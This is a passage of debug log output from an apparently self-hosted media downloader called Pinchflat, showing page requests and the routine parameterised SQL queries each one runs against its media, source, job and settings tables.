short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 05:34:57.161 [debug] QUERY OK source="media_items" db=0.8ms idle=2.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 05:34:57.162 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:57.162 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 05:34:57.163 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 05:34:57.163 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:57.164 [debug] QUERY OK source="media_items" db=0.4ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 05:34:57.165 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 05:34:57.166 [info] Sent 200 in 14ms 05:34:57.851 [info] GET /sources/30/media/141479 05:34:57.852 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "source_id" => "30"} Pipelines: [:browser] 05:34:57.853 [debug] QUERY OK source="media_items" db=0.5ms idle=689.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 05:34:57.854 [debug] QUERY OK source="tasks" db=0.4ms idle=690.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 05:34:57.854 [debug] QUERY OK source="sources" db=0.6ms idle=689.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:57.856 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=690.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 05:34:57.857 [debug] QUERY OK source="settings" db=0.4ms idle=430.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.857 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.858 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:57.858 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:57.860 [info] Sent 200 in 8ms 05:34:58.543 [info] GET /sources/30 05:34:58.544 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "30"} Pipelines: [:browser] 05:34:58.545 [debug] QUERY OK source="sources" db=0.6ms idle=687.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:58.546 [debug] QUERY OK source="media_profiles" db=0.7ms idle=688.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:58.547 [debug] QUERY OK source="tasks" db=0.6ms idle=688.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [30, "executing", "available", "scheduled", "retryable"] 05:34:58.548 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=689.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7280] 05:34:58.548 [debug] QUERY OK source="settings" db=0.1ms idle=119.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.548 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.549 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.550 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:58.551 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 05:34:58.552 [debug] QUERY OK source="media_items" db=0.7ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 05:34:58.552 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:58.552 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 05:34:58.553 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 05:34:58.554 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 05:34:58.554 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [30] 05:34:58.555 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [30, 10, 0] 05:34:58.556 [info] Sent 200 in 12ms 05:34:58.844 [info] GET /sources/31/media/141299 05:34:58.845 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "source_id" => "31"} Pipelines: [:browser] 05:34:58.846 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=292.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 05:34:58.847 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=293.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 05:34:58.848 [debug] QUERY OK source="sources" db=1.0ms idle=293.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:58.849 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=294.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 05:34:58.850 [debug] QUERY OK source="settings" db=0.1ms idle=294.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.851 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.851 [debug] QUERY OK source="settings" db=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:58.852 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 05:34:58.853 [info] Sent 200 in 9ms 05:34:59.039 [info] GET /sources/31/media/141080 05:34:59.040 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141080", "source_id" => "31"} Pipelines: [:browser] 05:34:59.041 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=190.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141080] 05:34:59.043 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=191.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141080] 05:34:59.044 [debug] QUERY OK source="sources" db=1.0ms idle=191.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:34:59.045 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=193.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7248] 05:34:59.046 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=193.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.047 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.048 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:34:59.051 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.9ms 